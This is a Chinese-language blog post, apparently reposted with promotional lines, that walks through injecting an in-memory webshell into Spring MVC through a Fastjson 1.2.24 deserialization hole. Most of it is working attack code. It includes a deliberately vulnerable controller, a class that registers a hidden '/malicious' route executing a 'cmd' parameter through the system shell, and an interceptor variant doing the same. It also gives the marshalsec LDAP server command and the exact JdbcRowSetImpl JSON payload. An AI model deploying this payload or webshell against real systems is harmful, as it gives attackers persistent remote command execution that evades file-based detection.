狂野!利用Fastjson注入Spring內(nèi)存馬~
互聯(lián)網(wǎng)架構(gòu)師后臺(tái)回復(fù) 2T 有特別禮包
環(huán)境搭建
1)組件版本:
2)搭建springMVC+fastjson漏洞環(huán)境
可以參考網(wǎng)上的入門文章進(jìn)行搭建,這里我放出我自己環(huán)境的配置文件
<servlet><servlet-name>SpringMVC</servlet-name><servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class><!--配置springmvc.xml的路徑--><init-param><param-name>contextConfigLocation</param-name><param-value>classpath:springmvc.xml</param-value></init-param></servlet><servlet-mapping><servlet-name>SpringMVC</servlet-name><url-pattern>/</url-pattern></servlet-mapping></web-app>
<!--將AnnotationHandler自動(dòng)掃描到IOC容器中--><context:component-scan base-package="test.controller"></context:component-scan><mvc:annotation-driven/><!--配置視圖解析器--><bean class="org.springframework.web.servlet.view.InternalResourceViewResolver"><!--配置前綴--><property name="prefix" value="/"></property><!--配置后綴--><property name="suffix" value=".jsp"></property></bean></beans>
HelloController
@Controllerpublic class HelloController {@ResponseBody@RequestMapping(value = "/hello", method = RequestMethod.POST)public Object hello(@RequestParam("code")String code) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");System.out.println(code);Object object = JSON.parse(code);return code + "->JSON.parseObject()->" + object;}}
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.11</version><scope>test</scope></dependency><!--SpringMVC依賴--><dependency><groupId>org.springframework</groupId><artifactId>spring-webmvc</artifactId><version>4.3.28.RELEASE</version></dependency>
動(dòng)態(tài)注冊(cè)controller
在springMVC中,也可以在服務(wù)器程序啟動(dòng)后,利用某種方式實(shí)現(xiàn)動(dòng)態(tài)加載controller。搜索公眾號(hào)互聯(lián)網(wǎng)架構(gòu)師復(fù)“2T”,送你一份驚喜禮包。
1)獲取上下文
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
方法二:WebApplicationContextUtils
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());方法四:getAttribute
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
而對(duì)于獲取上下文來(lái)說(shuō),推薦使用第三、四種方法。前兩種可能會(huì)獲取不到RequestMappingHandlerMapping實(shí)例
2)注冊(cè)controller
// 1. 從當(dāng)前上下文環(huán)境中獲得 RequestMappingHandlerMapping 的實(shí)例 beanRequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);// 2. 通過(guò)反射獲得自定義 controller 中唯一的 Method 對(duì)象Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];// 3. 定義訪問(wèn) controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");// 4. 定義允許訪問(wèn) controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在內(nèi)存中動(dòng)態(tài)注冊(cè) controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);
https://landgrey.me/blog/12/內(nèi)存馬
import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.Iterator;import java.util.List;import java.util.Map;public class InjectToController {// 第一個(gè)構(gòu)造函數(shù)public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 1. 從當(dāng)前上下文環(huán)境中獲得 RequestMappingHandlerMapping 的實(shí)例 beanRequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);// 2. 通過(guò)反射獲得自定義 controller 中test的 Method 對(duì)象Method method2 = InjectToController.class.getMethod("test");// 3. 定義訪問(wèn) controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/malicious");// 4. 定義允許訪問(wèn) controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在內(nèi)存中動(dòng)態(tài)注冊(cè) controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);// 創(chuàng)建用于處理請(qǐng)求的對(duì)象,加入“aaa”參數(shù)是為了觸發(fā)第二個(gè)構(gòu)造函數(shù)避免無(wú)限循環(huán)InjectToController injectToController = new InjectToController("aaa");mappingHandlerMapping.registerMapping(info, injectToController, method2);}// 第二個(gè)構(gòu)造函數(shù)public InjectToController(String aaa) {}// controller指定的處理方法public void test() throws IOException{// 獲取request和response對(duì)象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();// 獲取cmd參數(shù)并執(zhí)行命令java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));}}
修改回顯
// 獲取request和response對(duì)象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();//exectry {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";java.lang.ProcessBuilder p;if(System.getProperty("os.name").toLowerCase().contains("win")){p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});}else{p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next(): o;c.close();writer.write(o);writer.flush();writer.close();}else{//當(dāng)請(qǐng)求沒(méi)有攜帶指定的參數(shù)(code)時(shí),返回 404 錯(cuò)誤response.sendError(404);}}catch (Exception e){}
最終內(nèi)存馬,搜索公眾號(hào)互聯(lián)網(wǎng)架構(gòu)師復(fù)“2T”,送你一份驚喜禮包。
import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class InjectToController {// 第一個(gè)構(gòu)造函數(shù)public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 1. 從當(dāng)前上下文環(huán)境中獲得 RequestMappingHandlerMapping 的實(shí)例 beanRequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);// 2. 通過(guò)反射獲得自定義 controller 中test的 Method 對(duì)象Method method2 = InjectToController.class.getMethod("test");// 3. 定義訪問(wèn) controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/malicious");// 4. 定義允許訪問(wèn) controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在內(nèi)存中動(dòng)態(tài)注冊(cè) controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);// 創(chuàng)建用于處理請(qǐng)求的對(duì)象,加入“aaa”參數(shù)是為了觸發(fā)第二個(gè)構(gòu)造函數(shù)避免無(wú)限循環(huán)InjectToController injectToController = new InjectToController("aaa");mappingHandlerMapping.registerMapping(info, injectToController, method2);}// 第二個(gè)構(gòu)造函數(shù)public InjectToController(String aaa) {}// controller指定的處理方法public void test() throws IOException{// 獲取request和response對(duì)象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();//exectry {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";java.lang.ProcessBuilder p;if(System.getProperty("os.name").toLowerCase().contains("win")){p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});}else{p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next(): o;c.close();writer.write(o);writer.flush();writer.close();}else{//當(dāng)請(qǐng)求沒(méi)有攜帶指定的參數(shù)(code)時(shí),返回 404 錯(cuò)誤response.sendError(404);}}catch (Exception e){}}}
測(cè)試
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}}1)啟動(dòng)本地http服務(wù),綁定端口8888
python3 -m http.server 8888
2)利用marshalsec啟動(dòng)LDAP服務(wù),綁定端口9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#InjectToController 9999
3)訪問(wèn)存在fastjson反序列化的頁(yè)面,http://localhost:8080/hello
發(fā)送payload:
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToControlle","autoCommit":true}}

成功寫(xiě)入內(nèi)存馬

踩坑
在實(shí)驗(yàn)過(guò)程中,我發(fā)現(xiàn)主要有兩個(gè)比較難解決的點(diǎn),導(dǎo)致實(shí)驗(yàn)難以繼續(xù)
1.怎么編譯惡意class文件
可以看到,一個(gè)惡意類是有大量的依賴,如果直接采用javac編譯會(huì)報(bào)錯(cuò)
-》javac InjectToController.javaInjectToController.java:16: 錯(cuò)誤: 編碼GBK的不可映射字符// 絎竴涓瀯閫犲嚱鏁?^InjectToController.java:19: 錯(cuò)誤: 編碼GBK的不可映射字符// 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean^InjectToController.java:19: 錯(cuò)誤: 編碼GBK的不可映射字符// 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean^
這時(shí)候可以利用idea自帶的編譯特性,先運(yùn)行項(xiàng)目,然后在其項(xiàng)目的target目錄中尋找編譯后的class文件即可,搜索公眾號(hào)互聯(lián)網(wǎng)架構(gòu)師復(fù)“2T”,送你一份驚喜禮包。

直接進(jìn)行debug后發(fā)現(xiàn),在這一行代碼會(huì)因?yàn)檎也坏絉equestMappingHandlerMapping 的實(shí)例 bean而拋出異常


原因在于springmvc.xml文件中,沒(méi)有開(kāi)啟<mvc:annotation-driven/>選項(xiàng)。
而在Spring 3.1 開(kāi)始及以后一般開(kāi)始使用了新的RequestMappingHandlerMapping映射器。
后記
Interceptor內(nèi)存馬
import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class TestInterceptor extends HandlerInterceptorAdapter { public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException { // 獲取context WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 從context中獲取AbstractHandlerMapping的實(shí)例對(duì)象 org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"); // 反射獲取adaptedInterceptors屬性 java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping); // 避免重復(fù)添加 for (int i = adaptedInterceptors.size() - 1; i > 0; i--) { if (adaptedInterceptors.get(i) instanceof TestInterceptor) { System.out.println("已經(jīng)添加過(guò)TestInterceptor實(shí)例了"); return; } } TestInterceptor aaa = new TestInterceptor("aaa"); // 避免進(jìn)入實(shí)例創(chuàng)建的死循環(huán) adaptedInterceptors.add(aaa); // 添加全局interceptor } private TestInterceptor(String aaa){} @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String code = request.getParameter("code"); // 不干擾正常業(yè)務(wù)邏輯 if (code != null) { java.lang.Runtime.getRuntime().exec(code); return true; } else { return true; }}}注冊(cè)效果:

參考
https://www.cnblogs.com/bitterz/p/14820898.html
https://www.cnblogs.com/bitterz/p/14859766.html
感謝您的閱讀,也歡迎您發(fā)表關(guān)于這篇文章的任何建議,關(guān)注我,技術(shù)不迷茫!小編到你上高速。
正文結(jié)束
1.不認(rèn)命,從10年流水線工人,到谷歌上班的程序媛,一位湖南妹子的勵(lì)志故事
2.深圳一普通中學(xué)老師工資單曝光,秒殺程序員,網(wǎng)友:敢問(wèn)是哪個(gè)學(xué)校畢業(yè)的?
3.從零開(kāi)始搭建創(chuàng)業(yè)公司后臺(tái)技術(shù)棧
5.清華大學(xué):2021 元宇宙研究報(bào)告!
6.為什么國(guó)內(nèi) 996 干不過(guò)國(guó)外的 955呢?

